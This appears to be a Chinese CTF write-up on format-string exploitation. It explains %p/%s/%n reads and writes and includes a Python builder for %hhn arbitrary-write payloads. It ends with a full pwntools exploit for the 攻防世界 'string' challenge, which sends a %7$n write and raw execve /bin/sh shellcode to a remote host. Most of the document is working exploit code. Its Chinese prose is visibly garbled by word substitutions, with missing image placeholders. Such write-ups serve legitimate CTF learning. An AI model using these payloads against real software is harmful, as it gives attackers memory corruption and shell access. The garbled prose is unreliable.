关于安全:pwnFmtstr一

8次阅读

共计 1980 个字符,预计需要花费 5 分钟才能阅读完成。

终于进格式化破绽了,也终于把攻防世界的老手题做完了
先说说原理叭叭叭
常见的好吧就是 print 函数,依据格式化字符串来输入信息,能够进行写信息
具体请见格式化字符串
上面别离举例子
(所有的基本是能够管制格式化字符串为你想要的货色)

读取信息

  1. 利用 %x 来获取对应栈的内存,但倡议应用 %p,能够不必思考位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容

写入信息

次要依附,type 类型【n】

留神这里的偏移计算,次要是找到贮存内容的偏移,而不是贮存字符串地址的偏移

pwngdb 中这个玩意能够帮忙咱们数数
读入小于 4 的正整数

这样能够把地址内容改为 2
读入大数
有个函数能够间接利用

##big num

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

构建函数填入即可
当然也能够利用封装函数写入一个地址,下面的就写入大数

*  pwntools 中的 fmtstr_payload 函数,比拟不便获取咱们心愿失去的后果,有趣味的能够查看官网文档尝试。比方这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我心愿在 puts_got 地址处写入 system_addr 地址。默认状况下是依照字节来写的。

感觉做这些题的要先把程序弄懂
攻防世界 string

(还好没开 PIE【doge】)
ida 就算了,讲讲值得注意的中央

留神这里间接改成了函数指针类型,阐明写入的数据能够间接运行,所以能够间接从下面写入 shellcode
要害是怎么进入,发现进去条件是最开始的 v[0]=v[1],然而没有能够让咱们批改的中央,这个时候发现有 printf 的破绽能够利用
![上传中 …]()

就能够利用这一的破绽批改相应的地址
![上传中 …]()

在偏移为七的中央发现能够利用的参数(1+6)
因为是 64 位,所以只有找找找
WA

# coding=utf-8

from pwn import *

context.log_level = 'debug'    

#!usr/bin/python





io = remote('111.200.241.244',43027)



# io = process('./string')



io.recvuntil("secret[0] is")



v3_0_addr = int(io.recvuntil("\n")[:-1], 16)



log.info("v3_0_addr:" + hex(v3_0_addr))



io.recvuntil("character's name be:")



io.sendline("kk")



io.recvuntil("east or up?:")



io.sendline("east")



io.recvuntil("there(1), or leave(0)?:")



io.sendline("1")



io.recvuntil("'Give me an address'")



io.sendline(str(v3_0_addr))



io.recvuntil("you wish is:")



io.sendline('a'*85+ "%7$n")



# shellcode = asm(shellcraft.sh()) #生成的 shellcode 攻打失败,所以应用反汇编的 shellcode



shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"



io.recvuntil("USE YOU SPELL")



io.sendline(shellcode)



io.interactive()

以上

正文完
 0